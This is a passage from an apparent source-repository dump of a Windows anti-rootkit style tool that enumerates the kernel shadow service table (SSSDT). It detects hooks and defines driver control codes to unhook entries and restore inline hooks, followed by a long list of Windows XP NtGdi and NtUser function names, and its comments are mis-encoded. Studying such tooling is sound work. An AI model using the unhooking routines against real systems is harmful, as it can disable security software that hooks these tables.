//ȡ\r\n\t\tm_ShowHook=FALSE;\r\n\t\tOnBnClickedButtonSssdt();\r\n\t\treturn;\r\n\t}\r\n\r\n\r\n}\r\n\r\n\r\nvoid CSSSDT::OnUpdateIdrMenu(CCmdUI *pCmdUI)\r\n{\r\n\t// TODO: ڴû洦\r\n\tpCmdUI->SetCheck();\r\n}\r\n\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/SSSDT.h", "content": "#pragma once\r\n#include \"afxcmn.h\"\r\n#include \r\n#include \r\n#include \"OpenDevice.h\"\r\n\r\n// CSSSDT Ի\r\n#define IOCTL_GET_SSSDT_SERVERICE_BASE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define IOCTL_UNHOOK_SSSDT \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x831,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n\r\n#define IOCTL_RESUME_SSSDT_INLINEHOOK\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define IOCTL_GET_SSSDT_CURRENT_FUNC_CODE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n\r\n#define GET_SSSDT_SERVERICE_BASE 50\r\n#define GET_SYS_MODULE_INFOR 60\r\n\r\n#define GET_SSSDT_CURRENT_FUNC_CODE 120\r\n\r\n\r\n\r\n\r\ntypedef struct _SYSTEM_SERVICE_TABLE{\r\n\tPVOID ServiceTableBase;\r\n\tPVOID ServiceCounterTableBase;\r\n\tULONG_PTR NumberOfServices;\r\n\tPVOID ParamTableBase;\r\n} SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE;\r\n\r\ntypedef struct _SSSDT_INFOR\r\n{\r\n\tULONG FunctionIndex;\r\n\tPVOID CurrentFunctionAddress;\r\n\tPVOID OriginalFunctionAddress;\r\n\tchar szFunctionName[60];\r\n\tWCHAR wzModule[60];\r\n\tUCHAR szCurrentFunctionCode[CODE_LENGTH];\r\n\tUCHAR szOriginalFunctionCode[CODE_LENGTH];\r\n}SSSDT_INFOR,*PSSSDT_INFOR;\r\n\r\nclass CSSSDT : public CDialogEx\r\n{\r\n\tDECLARE_DYNAMIC(CSSSDT)\r\n\r\npublic:\r\n\tCSSSDT(CWnd* pParent = NULL); // ׼캯\r\n\tvirtual ~CSSSDT();\r\n\tCOpenDevice OpenDeviceCommon;\r\n\r\n\tCString m_strTempWin32kFilePath;\r\n\tCString m_strWin32kFilePath;\r\n\tPVOID m_ServiceTable;\r\n\tPVOID m_ServiceTableBase;\r\n\tPVOID m_Win32kModuleBase;\r\n\tPVOID m_TempWin32kModuleBase;\r\n\tBOOL m_bOk;\r\n\tUCHAR m_CurrentFunctionCode[CODE_LENGTH];\r\n\r\n\r\n\tHANDLE CSSSDT::OpenDevice(LPCTSTR wzLinkPath)\r\n\t{\r\n\t\tHANDLE hDevice = CreateFile(wzLinkPath,\r\n\t\t\tGENERIC_READ | GENERIC_WRITE,\r\n\t\t\tFILE_SHARE_READ | FILE_SHARE_WRITE,\r\n\t\t\tNULL,\r\n\t\t\tOPEN_EXISTING,\r\n\t\t\tFILE_ATTRIBUTE_NORMAL,\r\n\t\t\tNULL);\r\n\r\n\t\tif (hDevice == INVALID_HANDLE_VALUE)\r\n\t\t{\r\n\r\n\t\t}\r\n\r\n\t\treturn hDevice;\r\n\r\n\t}\r\n\r\n\tBOOL CSSSDT::EnumSSSDTInfor(PSSSDT_INFOR SSSDTInfor);\r\n\tVOID CSSSDT::AddItemToControlList(ULONG SSSDTFunctionCount,PSSSDT_INFOR SSSDTInfor);\r\n\tULONG_PTR CSSSDT::GetOriginalSSSDTFunctionAddress(ULONG ulIndex);\r\n\tBOOL CSSSDT::SendIoControlCode(ULONG ulIndex,PVOID* FuntionAddress,ULONG_PTR ulControlCode,WCHAR* wzSysModuleName);\r\n\tBOOL CSSSDT::MakeTempWin32kFile();\r\n\tint CSSSDT::FixRelocTable(ULONG_PTR NewModuleBase, ULONG_PTR OriginalModuleBase);\r\n\tBOOL m_ShowHook;\r\n\r\n\tvoid CSSSDT::GetOriginalSSSDTFunctionCode(ULONG_PTR CurrentFunctionAddress, PUCHAR szBuffer, SIZE_T Length)\r\n\t{\r\n\t\tULONG_PTR OriginalFunctionAddress = CurrentFunctionAddress - (ULONG_PTR)m_Win32kModuleBase+(ULONG_PTR)m_TempWin32kModuleBase;\r\n\t\tmemcpy(szBuffer,(PVOID)OriginalFunctionAddress, Length);\r\n\t\t//memcpy(szBuffer,(PVOID)CurrentFunctionAddress,Length);\r\n\t}\r\n// Ի\r\n\tenum { IDD = IDD_DIALOG_SSSDT };\r\n\r\nprotected:\r\n\tvirtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧\r\n\r\n\tDECLARE_MESSAGE_MAP()\r\npublic:\r\n\tCListCtrl m_ControlListSSSDTInfor;\r\n\tafx_msg void OnBnClickedButtonSssdt();\r\n\tvirtual BOOL OnInitDialog();\r\n\tUINT m_Num2;\r\n\tafx_msg void OnResumeResumessd();\r\n\tafx_msg void OnRclickListSssdt(NMHDR *pNMHDR, LRESULT *pResult);\r\n\tafx_msg void OnResumeShowhook();\r\n\tafx_msg void OnUpdateIdrMenu(CCmdUI *pCmdUI);\r\n\tafx_msg void OnResumeResumeinlinehook();\r\n};\r\n\r\n\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManager/EnumSSSDTManager/SSSDTFunc.h", "content": "#pragma once\r\n\r\n\r\n\r\nCHAR szWinXPFunctionName[667][100]=\r\n{\r\n\t\"NtGdiAbortDoc\"\r\n\t,\"NtGdiAbortPath\"\r\n\t,\"NtGdiAddFontResourceW\"\r\n\t,\"NtGdiAddRemoteFontToDC\"\r\n\t,\"NtGdiAddFontMemResourceEx\"\r\n\t,\"NtGdiRemoveMergeFont\"\r\n\t,\"NtGdiAddRemoteMMInstanceToDC\"\r\n\t,\"NtGdiAlphaBlend\"\r\n\t,\"NtGdiAngleArc\"\r\n\t,\"NtGdiAnyLinkedFonts\"\r\n\t,\"NtGdiFontIsLinked\"\r\n\t,\"NtGdiArcInternal\"\r\n\t,\"NtGdiBeginPath\"\r\n\t,\"NtGdiBitBlt\"\r\n\t,\"NtGdiCancelDC\"\r\n\t,\"NtGdiCheckBitmapBits\"\r\n\t,\"NtGdiCloseFigure\"\r\n\t,\"NtGdiClearBitmapAttributes\"\r\n\t,\"NtGdiClearBrushAttributes\"\r\n\t,\"NtGdiColorCorrectPalette\"\r\n\t,\"NtGdiCombineRgn\"\r\n\t,\"NtGdiCombineTransform\"\r\n\t,\"NtGdiComputeXformCoefficients\"\r\n\t,\"NtGdiConsoleTextOut\"\r\n\t,\"NtGdiConvertMetafileRect\"\r\n\t,\"NtGdiCreateBitmap\"\r\n\t,\"NtGdiCreateClientObj\"\r\n\t,\"NtGdiCreateColorSpace\"\r\n\t,\"NtGdiCreateColorTransform\"\r\n\t,\"NtGdiCreateCompatibleBitmap\"\r\n\t,\"NtGdiCreateCompatibleDC\"\r\n\t,\"NtGdiCreateDIBBrush\"\r\n\t,\"NtGdiCreateDIBitmapInternal\"\r\n\t,\"NtGdiCreateDIBSection\"\r\n\t,\"NtGdiCreateEllipticRgn\"\r\n\t,\"NtGdiCreateHalftonePalette\"\r\n\t,\"NtGdiCreateHatchBrushInternal\"\r\n\t,\"NtGdiCreateMetafileDC\"\r\n\t,\"NtGdiCreatePaletteInternal\"\r\n\t,\"NtGdiCreatePatternBrushInternal\"\r\n\t,\"NtGdiCreatePen\"\r\n\t,\"NtGdiCreateRectRgn\"\r\n\t,\"NtGdiCreateRoundRectRgn\"\r\n\t,\"NtGdiCreateServerMetaFile\"\r\n\t,\"NtGdiCreateSolidBrush\"\r\n\t,\"NtGdiD3dContextCreate\"\r\n\t,\"NtGdiD3dContextDestroy\"\r\n\t,\"NtGdiD3dContextDestroyAll\"\r\n\t,\"NtGdiD3dValidateTextureStageState\"\r\n\t,\"NtGdiD3dDrawPrimitives2\"\r\n\t,\"NtGdiDdGetDriverState\"\r\n\t,\"NtGdiDdAddAttachedSurface\"\r\n\t,\"NtGdiDdAlphaBlt\"\r\n\t,\"NtGdiDdAttachSurface\"\r\n\t,\"NtGdiDdBeginMoCompFrame\"\r\n\t,\"NtGdiDdBlt\"\r\n\t,\"NtGdiDdCanCreateSurface\"\r\n\t,\"NtGdiDdCanCreateD3DBuffer\"\r\n\t,\"NtGdiDdColorControl\"\r\n\t,\"NtGdiDdCreateDirectDrawObject\"\r\n\t,\"NtGdiDdCreateSurface\"\r\n\t,\"NtGdiDdCreateD3DBuffer\"\r\n\t,\"NtGdiDdCreateMoComp\"\r\n\t,\"NtGdiDdCreateSurfaceObject\"\r\n\t,\"NtGdiDdDeleteDirectDrawObject\"\r\n\t,\"NtGdiDdDeleteSurfaceObject\"\r\n\t,\"NtGdiDdDestroyMoComp\"\r\n\t,\"NtGdiDdDestroySurface\"\r\n\t,\"NtGdiDdDestroyD3DBuffer\"\r\n\t,\"NtGdiDdEndMoCompFrame\"\r\n\t,\"NtGdiDdFlip\"\r\n\t,\"NtGdiDdFlipToGDISurface\"\r\n\t,\"NtGdiDdGetAvailDriverMemory\"\r\n\t,\"NtGdiDdGetBltStatus\"\r\n\t,\"NtGdiDdGetDC\"\r\n\t,\"NtGdiDdGetDriverInfo\"\r\n\t,\"NtGdiDdGetDxHandle\"\r\n\t,\"NtGdiDdGetFlipStatus\"\r\n\t,\"NtGdiDdGetInternalMoCompInfo\"\r\n\t,\"NtGdiDdGetMoCompBuffInfo\"\r\n\t,\"NtGdiDdGetMoCompGuids\"\r\n\t,\"NtGdiDdGetMoCompFormats\"\r\n\t,\"NtGdiDdGetScanLine\"\r\n\t,\"NtGdiDdLock\"\r\n\t,\"NtGdiDdLockD3D\"\r\n\t,\"NtGdiDdQueryDirectDrawObject\"\r\n\t,\"NtGdiDdQueryMoCompStatus\"\r\n\t,\"NtGdiDdReenableDirectDrawObject\"\r\n\t,\"NtGdiDdReleaseDC\"\r\n\t,\"NtGdiDdRenderMoComp\"\r\n\t,\"NtGdiDdResetVisrgn\"\r\n\t,\"NtGdiDdSetColorKey\"\r\n\t,\"NtGdiDdSetExclusiveMode\"\r\n\t,\"NtGdiDdSetGammaRamp\"\r\n\t,\"NtGdiDdCreateSurfaceEx\"\r\n\t,\"NtGdiDdSetOverlayPosition\"\r\n\t,\"NtGdiDdUnattachSurface\"\r\n\t,\"NtGdiDdUnlock\"\r\n\t,\"NtGdiDdUnlockD3D\"\r\n\t,\"NtGdiDdUpdateOverlay\"\r\n\t,\"NtGdiDdWaitForVerticalBlank\"\r\n\t,\"NtGdiDvpCanCreateVideoPort\"\r\n\t,\"NtGdiDvpColorControl\"\r\n\t,\"NtGdiDvpCreateVideoPort\"\r\n\t,\"NtGdiDvpDestroyVideoPort\"\r\n\t,\"NtGdiDvpFlipVideoPort\"\r\n\t,\"NtGdiDvpGetVideoPortBandwidth\"\r\n\t,\"NtGdiDvpGetVideoPortField\"\r\n\t,\"NtGdiDvpGetVideoPortFlipStatus\"\r\n\t,\"NtGdiDvpGetVideoPortInputFormats\"\r\n\t,\"NtGdiDvpGetVideoPortLine\"\r\n\t,\"NtGdiDvpGetVideoPortOutputFormats\"\r\n\t,\"NtGdiDvpGetVideoPortConnectInfo\"\r\n\t,\"NtGdiDvpGetVideoSignalStatus\"\r\n\t,\"NtGdiDvpUpdateVideoPort\"\r\n\t,\"NtGdiDvpWaitForVideoPortSync\"\r\n\t,\"NtGdiDvpAcquireNotification\"\r\n\t,\"NtGdiDvpReleaseNotification\"\r\n\t,\"NtGdiDxgGenericThunk\"\r\n\t,\"NtGdiDeleteClientObj\"\r\n\t,\"NtGdiDeleteColorSpace\"\r\n\t,\"NtGdiDeleteColorTransform\"\r\n\t,\"NtGdiDeleteObjectApp\"\r\n\t,\"NtGdiDescribePixelFormat\"\r\n\t,\"NtGdiGetPerBandInfo\"\r\n\t,\"NtGdiDoBanding\"\r\n\t,\"NtGdiDoPalette\"\r\n\t,\"NtGdiDrawEscape\"\r\n\t,\"NtGdiEllipse\"\r\n\t,\"NtGdiEnableEudc\"\r\n\t,\"NtGdiEndDoc\"\r\n\t,\"NtGdiEndPage\"\r\n\t,\"NtGdiEndPath\"\r\n\t,\"NtGdiEnumFontChunk\"\r\n\t,\"NtGdiEnumFontClose\"\r\n\t,\"NtGdiEnumFontOpen\"\r\n\t,\"NtGdiEnumObjects\"\r\n\t,\"NtGdiEqualRgn\"\r\n\t,\"NtGdiEudcLoadUnloadLink\"\r\n\t,\"NtGdiExcludeClipRect\"\r\n\t,\"NtGdiExtCreatePen\"\r\n\t,\"NtGdiExtCreateRegion\"\r\n\t,\"NtGdiExtEscape\"\r\n\t,\"NtGdiExtFloodFill\"\r\n\t,\"NtGdiExtGetObjectW\"\r\n\t,\"NtGdiExtSelectClipRgn\"\r\n\t,\"NtGdiExtTextOutW\"\r\n\t,\"NtGdiFillPath\"\r\n\t,\"NtGdiFillRgn\"\r\n\t,\"NtGdiFlattenPath\"\r\n\t,\"NtGdiFlushUserBatch\"\r\n\t,\"NtGdiFlush\"\r\n\t,\"NtGdiForceUFIMapping\"\r\n\t,\"NtGdiFrameRgn\"\r\n\t,\"NtGdiFullscreenControl\"\r\n\t,\"NtGdiGetAndSetDCDword\"\r\n\t,\"NtGdiGetAppClipBox\"\r\n\t,\"NtGdiGetBitmapBits\"\r\n\t,\"NtGdiGetBitmapDimension\"\r\n\t,\"NtGdiGetBoundsRect\"\r\n\t,\"NtGdiGetCharABCWidthsW\"\r\n\t,\"NtGdiGetCharacterPlacementW\"\r\n\t,\"NtGdiGetCharSet\"\r\n\t,\"NtGdiGetCharWidthW\"\r\n\t,\"NtGdiGetCharWidthInfo\"\r\n\t,\"NtGdiGetColorAdjustment\"\r\n\t,\"NtGdiGetColorSpaceforBitmap\"\r\n\t,\"NtGdiGetDCDword\"\r\n\t,\"NtGdiGetDCforBitmap\"\r\n\t,\"NtGdiGetDCObject\"\r\n\t,\"NtGdiGetDCPoint\"\r\n\t,\"NtGdiGetDeviceCaps\"\r\n\t,\"NtGdiGetDeviceGammaRamp\"\r\n\t,\"NtGdiGetDeviceCapsAll\"\r\n\t,\"NtGdiGetDIBitsInternal\"\r\n\t,\"NtGdiGetETM\"\r\n\t,\"NtGdiGetEudcTimeStampEx\"\r\n\t,\"NtGdiGetFontData\"\r\n\t,\"NtGdiGetFontResourceInfoInternalW\"\r\n\t,\"NtGdiGetGlyphIndicesW\"\r\n\t,\"NtGdiGetGlyphIndicesWInternal\"\r\n\t,\"NtGdiGetGlyphOutline\"\r\n\t,\"NtGdiGetKerningPairs\"\r\n\t,\"NtGdiGetLinkedUFIs\"\r\n\t,\"NtGdiGetMiterLimit\"\r\n\t,\"NtGdiGetMonitorID\"\r\n\t,\"NtGdiGetNearestColor\"\r\n\t,\"NtGdiGetNearestPaletteIndex\"\r\n\t,\"NtGdiGetObjectBitmapHandle\"\r\n\t,\"NtGdiGetOutlineTextMetricsInternalW\"\r\n\t,\"NtGdiGetPath\"\r\n\t,\"NtGdiGetPixel\"\r\n\t,\"NtGdiGetRandomRgn\"\r\n\t,\"NtGdiGetRasterizerCaps\"\r\n\t,\"NtGdiGetRealizationInfo\"\r\n\t,\"NtGdiGetRegionData\"\r\n\t,\"NtGdiGetRgnBox\"\r\n\t,\"NtGdiGetServerMetaFileBits\"\r\n\t,\"NtGdiGetSpoolMessage\"\r\n\t,\"NtGdiGetStats\"\r\n\t,\"NtGdiGetStockObject\"\r\n\t,\"NtGdiGetStringBitmapW\"\r\n\t,\"NtGdiGetSystemPaletteUse\"\r\n\t,\"NtGdiGetTextCharsetInfo\"\r\n\t,\"NtGdiGetTextExtent\"\r\n\t,\"NtGdiGetTextExtentExW\"\r\n\t,\"NtGdiGetTextFaceW\"\r\n\t,\"NtGdiGetTextMetricsW\"\r\n\t,\"NtGdiGetTransform\"\r\n\t,\"NtGdiGetUFI\"\r\n\t,\"NtGdiGetEmbUFI\"\r\n\t,\"NtGdiGetUFIPathname\"\r\n\t,\"NtGdiGetEmbedFonts\"\r\n\t,\"NtGdiChangeGhostFont\"\r\n\t,\"NtGdiAddEmbFontToDC\"\r\n\t,\"NtGdiGetFontUnicodeRanges\"\r\n\t,\"NtGdiGetWidthTable\"\r\n\t,\"NtGdiGradientFill\"\r\n\t,\"NtGdiHfontCreate\"\r\n\t,\"NtGdiIcmBrushInfo\"\r\n\t,\"NtGdiInit\"\r\n\t,\"NtGdiInitSpool\"\r\n\t,\"NtGdiIntersectClipRect\"\r\n\t,\"NtGdiInvertRgn\"\r\n\t,\"NtGdiLineTo\"\r\n\t,\"NtGdiMakeFontDir\"\r\n\t,\"NtGdiMakeInfoDC\"\r\n\t,\"NtGdiMaskBlt\"\r\n\t,\"NtGdiModifyWorldTransform\"\r\n\t,\"NtGdiMonoBitmap\"\r\n\t,\"NtGdiMoveTo\"\r\n\t,\"NtGdiOffsetClipRgn\"\r\n\t,\"NtGdiOffsetRgn\"\r\n\t,\"NtGdiOpenDCW\"\r\n\t,\"NtGdiPatBlt\"\r\n\t,\"NtGdiPolyPatBlt\"\r\n\t,\"NtGdiPathToRegion\"\r\n\t,\"NtGdiPlgBlt\"\r\n\t,\"NtGdiPolyDraw\"\r\n\t,\"NtGdiPolyPolyDraw\"\r\n\t,\"NtGdiPolyTextOutW\"\r\n\t,\"NtGdiPtInRegion\"\r\n\t,\"NtGdiPtVisible\"\r\n\t,\"NtGdiQueryFonts\"\r\n\t,\"NtGdiQueryFontAssocInfo\"\r\n\t,\"NtGdiRectangle\"\r\n\t,\"NtGdiRectInRegion\"\r\n\t,\"NtGdiRectVisible\"\r\n\t,\"NtGdiRemoveFontResourceW\"\r\n\t,\"NtGdiRemoveFontMemResourceEx\"\r\n\t,\"NtGdiResetDC\"\r\n\t,\"NtGdiResizePalette\"\r\n\t,\"NtGdiRestoreDC\"\r\n\t,\"NtGdiRoundRect\"\r\n\t,\"NtGdiSaveDC\"\r\n\t,\"NtGdiScaleViewportExtEx\"\r\n\t,\"NtGdiScaleWindowExtEx\"\r\n\t,\"NtGdiSelectBitmap\"\r\n\t,\"NtGdiSelectBrush\"\r\n\t,\"NtGdiSelectClipPath\"\r\n\t,\"NtGdiSelectFont\"\r\n\t,\"NtGdiSelectPen\"\r\n\t,\"NtGdiSetBitmapAttributes\"\r\n\t,\"NtGdiSetBitmapBits\"\r\n\t,\"NtGdiSetBitmapDimension\"\r\n\t,\"NtGdiSetBoundsRect\"\r\n\t,\"NtGdiSetBrushAttributes\"\r\n\t,\"NtGdiSetBrushOrg\"\r\n\t,\"NtGdiSetColorAdjustment\"\r\n\t,\"NtGdiSetColorSpace\"\r\n\t,\"NtGdiSetDeviceGammaRamp\"\r\n\t,\"NtGdiSetDIBitsToDeviceInternal\"\r\n\t,\"NtGdiSetFontEnumeration\"\r\n\t,\"NtGdiSetFontXform\"\r\n\t,\"NtGdiSetIcmMode\"\r\n\t,\"NtGdiSetLinkedUFIs\"\r\n\t,\"NtGdiSetMagicColors\"\r\n\t,\"NtGdiSetMetaRgn\"\r\n\t,\"NtGdiSetMiterLimit\"\r\n\t,\"NtGdiGetDeviceWidth\"\r\n\t,\"NtGdiMirrorWindowOrg\"\r\n\t,\"NtGdiSetLayout\"\r\n\t,\"NtGdiSetPixel\"\r\n\t,\"NtGdiSetPixelFormat\"\r\n\t,\"NtGdiSetRectRgn\"\r\n\t,\"NtGdiSetSystemPaletteUse\"\r\n\t,\"NtGdiSetTextJustification\"\r\n\t,\"NtGdiSetupPublicCFONT\"\r\n\t,\"NtGdiSetVirtualResolution\"\r\n\t,\"NtGdiSetSizeDevice\"\r\n\t,\"NtGdiStartDoc\"\r\n\t,\"NtGdiStartPage\"\r\n\t,\"NtGdiStretchBlt\"\r\n\t,\"NtGdiStretchDIBitsInternal\"\r\n\t,\"NtGdiStrokeAndFillPath\"\r\n\t,\"NtGdiStrokePath\"\r\n\t,\"NtGdiSwapBuffers\"\r\n\t,\"NtGdiTransformPoints\"\r\n\t,\"NtGdiTransparentBlt\"\r\n\t,\"NtGdiUnloadPrinterDriver\"\r\n\t,\"NtGdiUnmapMemFont\"\r\n\t,\"NtGdiUnrealizeObject\"\r\n\t,\"NtGdiUpdateColors\"\r\n\t,\"NtGdiWidenPath\"\r\n\t,\"NtUserActivateKeyboardLayout\"\r\n\t,\"NtUserAlterWindowStyle\"\r\n\t,\"NtUserAssociateInputContext\"\r\n\t,\"NtUserAttachThreadInput\"\r\n\t,\"NtUserBeginPaint\"\r\n\t,\"NtUserBitBltSysBmp\"\r\n\t,\"NtUserBlockInput\"\r\n\t,\"NtUserBuildHimcList\"\r\n\t,\"NtUserBuildHwndList\"\r\n\t,\"NtUserBuildNameList\"\r\n\t,\"NtUserBuildPropList\"\r\n\t,\"NtUserCallHwnd\"\r\n\t,\"NtUserCallHwndLock\"\r\n\t,\"NtUserCallHwndOpt\"\r\n\t,\"NtUserCallHwndParam\"\r\n\t,\"NtUserCallHwndParamLock\"\r\n\t,\"NtUserCallMsgFilter\"\r\n\t,\"NtUserCallNextHookEx\"\r\n\t,\"NtUserCallNoParam\"\r\n\t,\"NtUserCallOneParam\"\r\n\t,\"NtUserCallTwoParam\"\r\n\t,\"NtUserChangeClipboardChain\"\r\n\t,\"NtUserChangeDisplaySettings\"\r\n\t,\"NtUserCheckImeHotKey\"\r\n\t,\"NtUserCheckMenuItem\"\r\n\t,\"NtUserChildWindowFromPointEx\"\r\n\t,\"NtUserClipCursor\"\r\n\t,\"NtUserCloseClipboard\"\r\n\t,\"NtUserCloseDesktop\"\r\n\t,\"NtUserCloseWindowStation\"\r\n\t,\"NtUserConsoleControl\"\r\n\t,\"NtUserConvertMemHandle\"\r\n\t,\"NtUserCopyAcceleratorTable\"\r\n\t,\"NtUserCountClipboardFormats\"\r\n\t,\"NtUserCreateAcceleratorTable\"\r\n\t,\"NtUserCreateCaret\"\r\n\t,\"NtUserCreateDesktop\"\r\n\t,\"NtUserCreateInputContext\"\r\n\t,\"NtUserCreateLocalMemHandle\"\r\n\t,\"NtUserCreateWindowEx\"\r\n\t,\"NtUserCreateWindowStation\"\r\n\t,\"NtUserDdeGetQualityOfService\"\r\n\t,\"NtUserDdeInitialize\"\r\n\t,\"NtUserDdeSetQualityOfService\"\r\n\t,\"NtUserDeferWindowPos\"\r\n\t,\"NtUserDefSetText\"\r\n\t,\"NtUserDeleteMenu\"\r\n\t,\"NtUserDestroyAcceleratorTable\"\r\n\t,\"NtUserDestroyCursor\"\r\n\t,\"NtUserDestroyInputContext\"\r\n\t,\"NtUserDestroyMenu\"\r\n\t,\"NtUserDestroyWindow\"\r\n\t,\"NtUserDisableThreadIme\"\r\n\t,\"NtUserDispatchMessage\"\r\n\t,\"NtUserDragDetect\"\r\n\t,\"NtUserDragObject\"\r\n\t,\"NtUserDrawAnimatedRects\"\r\n\t,\"NtUserDrawCaption\"\r\n\t,\"NtUserDrawCaptionTemp\"\r\n\t,\"NtUserDrawIconEx\"\r\n\t,\"NtUserDrawMenuBarTemp\"\r\n\t,\"NtUserEmptyClipboard\"\r\n\t,\"NtUserEnableMenuItem\"\r\n\t,\"NtUserEnableScrollBar\"\r\n\t,\"NtUserEndDeferWindowPosEx\"\r\n\t,\"NtUserEndMenu\"\r\n\t,\"NtUserEndPaint\"\r\n\t,\"NtUserEnumDisplayDevices\"\r\n\t,\"NtUserEnumDisplayMonitors\"\r\n\t,\"NtUserEnumDisplaySettings\"\r\n\t,\"NtUserEvent\"\r\n\t,\"NtUserExcludeUpdateRgn\"\r\n\t,\"NtUserFillWindow\"\r\n\t,\"NtUserFindExistingCursorIcon\"\r\n\t,\"NtUserFindWindowEx\"\r\n\t,\"NtUserFlashWindowEx\"\r\n\t,\"NtUserGetAltTabInfo\"\r\n\t,\"NtUserGetAncestor\"\r\n\t,\"NtUserGetAppImeLevel\"\r\n\t,\"NtUserGetAsyncKeyState\"\r\n\t,\"NtUserGetAtomName\"\r\n\t,\"NtUserGetCaretBlinkTime\"\r\n\t,\"NtUserGetCaretPos\"\r\n\t,\"NtUserGetClassInfo\"\r\n\t,\"NtUserGetClassName\"\r\n\t,\"NtUserGetClipboardData\"\r\n\t,\"NtUserGetClipboardFormatName\"\r\n\t,\"NtUserGetClipboardOwner\"\r\n\t,\"NtUserGetClipboardSequenceNumber\"\r\n\t,\"NtUserGetClipboardViewer\"\r\n\t,\"NtUserGetClipCursor\"\r\n\t,\"NtUserGetComboBoxInfo\"\r\n\t,\"NtUserGetControlBrush\"\r\n\t,\"NtUserGetControlColor\"\r\n\t,\"NtUserGetCPD\"\r\n\t,\"NtUserGetCursorFrameInfo\"\r\n\t,\"NtUserGetCursorInfo\"\r\n\t,\"NtUserGetDC\"\r\n\t,\"NtUserGetDCEx\"\r\n\t,\"NtUserGetDoubleClickTime\"\r\n\t,\"NtUserGetForegroundWindow\"\r\n\t,\"NtUserGetGuiResources\"\r\n\t,\"NtUserGetGUIThreadInfo\"\r\n\t,\"NtUserGetIconInfo\"\r\n\t,\"NtUserGetIconSize\"\r\n\t,\"NtUserGetImeHotKey\"\r\n\t,\"NtUserGetImeInfoEx\"\r\n\t,\"NtUserGetInternalWindowPos\"\r\n\t,\"NtUserGetKeyboardLayoutList\"\r\n\t,\"NtUserGetKeyboardLayoutName\"\r\n\t,\"NtUserGetKeyboardState\"\r\n\t,\"NtUserGetKeyNameText\"\r\n\t,\"NtUserGetKeyState\"\r\n\t,\"NtUserGetListBoxInfo\"\r\n\t,\"NtUserGetMenuBarInfo\"\r\n\t,\"NtUserGetMenuIndex\"\r\n\t,\"NtUserGetMenuItemRect\"\r\n\t,\"NtUserGetMessage\"\r\n\t,\"NtUserGetMouseMovePointsEx\"\r\n\t,\"NtUserGetObjectInformation\"\r\n\t,\"NtUserGetOpenClipboardWindow\"\r\n\t,\"NtUserGetPriorityClipboardFormat\"\r\n\t,\"NtUserGetProcessWindowStation\"\r\n\t,\"NtUserGetRawInputBuffer\"\r\n\t,\"NtUserGetRawInputData\"\r\n\t,\"NtUserGetRawInputDeviceInfo\"\r\n\t,\"NtUserGetRawInputDeviceList\"\r\n\t,\"NtUserGetRegisteredRawInputDevices\"\r\n\t,\"NtUserGetScrollBarInfo\"\r\n\t,\"NtUserGetSystemMenu\"\r\n\t,\"NtUserGetThreadDesktop\"\r\n\t,\"NtUserGetThreadState\"\r\n\t,\"NtUserGetTitleBarInfo\"\r\n\t,\"NtUserGetUpdateRect\"\r\n\t,\"NtUserGetUpdateRgn\"\r\n\t,\"NtUserGetWindowDC\"\r\n\t,\"NtUserGetWindowPlacement\"\r\n\t,\"NtUserGetWOWClass\"\r\n\t,\"NtUserHardErrorControl\"\r\n\t,\"NtUserHideCaret\"\r\n\t,\"NtUserHiliteMenuItem\"\r\n\t,\"NtUserImpersonateDdeClientWindow\"\r\n\t,\"NtUserInitialize\"\r\n\t,\"NtUserInitializeClientPfnArrays\"\r\n\t,\"NtUserInitTask\"\r\n\t,\"NtUserInternalGetWindowText\"\r\n\t,\"NtUserInvalidateRect\"\r\n\t,\"NtUserInvalidateRgn\"\r\n\t,\"NtUserIsClipboardFormatAvailable\"\r\n\t,\"NtUserKillTimer\"\r\n\t,\"NtUserLoadKeyboardLayoutEx\"\r\n\t,\"NtUserLockWindowStation\"\r\n\t,\"NtUserLockWindowUpdate\"\r\n\t,\"NtUserLockWorkStation\"\r\n\t,\"NtUserMapVirtualKeyEx\"\r\n\t,\"NtUserMenuItemFromPoint\"\r\n\t,\"NtUserMessageCall\"\r\n\t,\"NtUserMinMaximize\"\r\n\t,\"NtUserMNDragLeave\"\r\n\t,\"NtUserMNDragOver\"\r\n\t,\"NtUserModifyUserStartupInfoFlags\"\r\n\t,\"NtUserMoveWindow\"\r\n\t,\"NtUserNotifyIMEStatus\"\r\n\t,\"NtUserNotifyProcessCreate\"\r\n\t,\"NtUserNotifyWinEvent\"\r\n\t,\"NtUserOpenClipboard\"\r\n\t,\"NtUserOpenDesktop\"\r\n\t,\"NtUserOpenInputDesktop\"\r\n\t,\"NtUserOpenWindowStation\"\r\n\t,\"NtUserPaintDesktop\"\r\n\t,\"NtUserPeekMessage\"\r\n\t,\"NtUserPostMessage\"\r\n\t,\"NtUserPostThreadMessage\"\r\n\t,\"NtUserPrintWindow\"\r\n\t,\"NtUserProcessConnect\"\r\n\t,\"NtUserQueryInformationThread\"\r\n\t,\"NtUserQueryInputContext\"\r\n\t,\"NtUserQuerySendMessage\"\r\n\t,\"NtUserQueryUserCounters\"\r\n\t,\"NtUserQueryWindow\"\r\n\t,\"NtUserRealChildWindowFromPoint\"\r\n\t,\"NtUserRealInternalGetMessage\"\r\n\t,\"NtUserRealWaitMessageEx\"\r\n\t,\"NtUserRedrawWindow\"\r\n\t,\"NtUserRegisterClassExWOW\"\r\n\t,\"NtUserRegisterUserApiHook\"\r\n\t,\"NtUserRegisterHotKey\"\r\n\t,\"NtUserRegisterRawInputDevices\"\r\n\t,\"NtUserRegisterTasklist\"\r\n\t,\"NtUserRegisterWindowMessage\"\r\n\t,\"NtUserRemoveMenu\"\r\n\t,\"NtUserRemoveProp\"\r\n\t,\"NtUserResolveDesktop\"\r\n\t,\"NtUserResolveDesktopForWOW\"\r\n\t,\"NtUserSBGetParms\"\r\n\t,\"NtUserScrollDC\"\r\n\t,\"NtUserScrollWindowEx\"\r\n\t,\"NtUserSelectPalette\"\r\n\t,\"NtUserSendInput\"\r\n\t,\"NtUserSetActiveWindow\"\r\n\t,\